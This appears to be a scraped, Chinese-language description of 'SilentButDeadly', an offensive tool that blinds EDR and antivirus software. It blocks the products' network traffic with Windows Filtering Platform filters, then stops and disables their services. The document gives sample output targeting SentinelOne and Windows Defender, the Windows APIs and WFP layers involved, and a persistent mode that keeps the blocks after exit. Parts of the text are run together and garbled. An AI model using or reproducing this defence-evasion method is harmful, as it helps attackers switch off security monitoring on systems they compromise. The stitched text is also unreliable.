SilentButDeadly 是一款网络通信阻断工具，专门设计用于通过 Windows 过滤平台 (WFP) 阻止 EDR/AV 软件的云连接，从而使其失效。此版本仅专注于网络隔离，不涉及进程终止。
博客：https://ryan.framinan.net/blog/silentbutdeadly
[*] Checking administrative privileges...
[+] Running with Administrator privileges
[#] Press <Enter> to begin EDR enumeration...
CheckTokenMembership() 验证管理员权限[*] Scanning for target security processes...
[+] Found SentinelAgent.exe (SentinelOne) - PID: 1234
[+] Found MsMpEng.exe (Windows Defender) - PID: 5678
[*] Total target processes found: 2
[#] Press <Enter> to block network communications...
CreateToolhelp32Snapshot() 创建进程快照PROCESS_QUERY_INFORMATION 权限打开进程句柄[*] Initializing Windows Filtering Platform...
[>] Initializing COM library
[>] Generating WFP provider GUID
[>] Opening WFP engine handle
[+] Windows Filtering Platform initialized successfully
[*] Configuring network filters to block EDR communications...
[>] Processing filters for SentinelAgent.exe (PID: 1234)
[>] Process path: C:\Program Files\SentinelOne\Sentinel Agent\SentinelAgent.exe
[>] Outbound filter added successfully
[>] Inbound filter added successfully
[+] Network communication blocked for SentinelAgent.exe
[+] Communication blocking established for 2 processes
对于每个 EDR 进程：
QueryFullProcessImageNameW() 获取完整进程映像路径FwpmGetAppIdFromFileName0() 将路径转换为 WFP AppID 二进制对象FWPM_LAYER_ALE_AUTH_CONNECT_V4（阻止出站连接）FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4（阻止入站连接）[*] Attempting to disable EDR services...
[>] Processing service: SentinelAgent
[>] Current service state: Running
[>] Attempting to stop service...
[+] Stop signal sent to SentinelAgent
[+] Service stopped successfully
[+] Service SentinelAgent set to disabled
[+] Disabled 2 EDR services
SERVICE_DISABLED=================================================================
OPERATION SUMMARY
=================================================================
[SentinelOne] SentinelAgent.exe - PID: 1234
[Windows Defender] MsMpEng.exe - PID: 5678
Total Processes Found: 2
Network Blocks Applied: 2
WFP Status: Active
=================================================================
[#] Press <Enter> to remove filters and exit...
[*] Removing network blocking rules...
[+] Network blocking rules removed
[*] Operation complete
FWP_ACTION_BLOCKFWPM_CONDITION_ALE_APP_ID（进程特定）FWPM_FILTER_FLAG_CLEAR_ACTION_RIGHTg_EDRTargets 数组轻松扩展-v, --verbose：启用详细操作日志记录-p, --persistent：程序退出后保持过滤器活动-h, --help：显示使用信息-p 标志）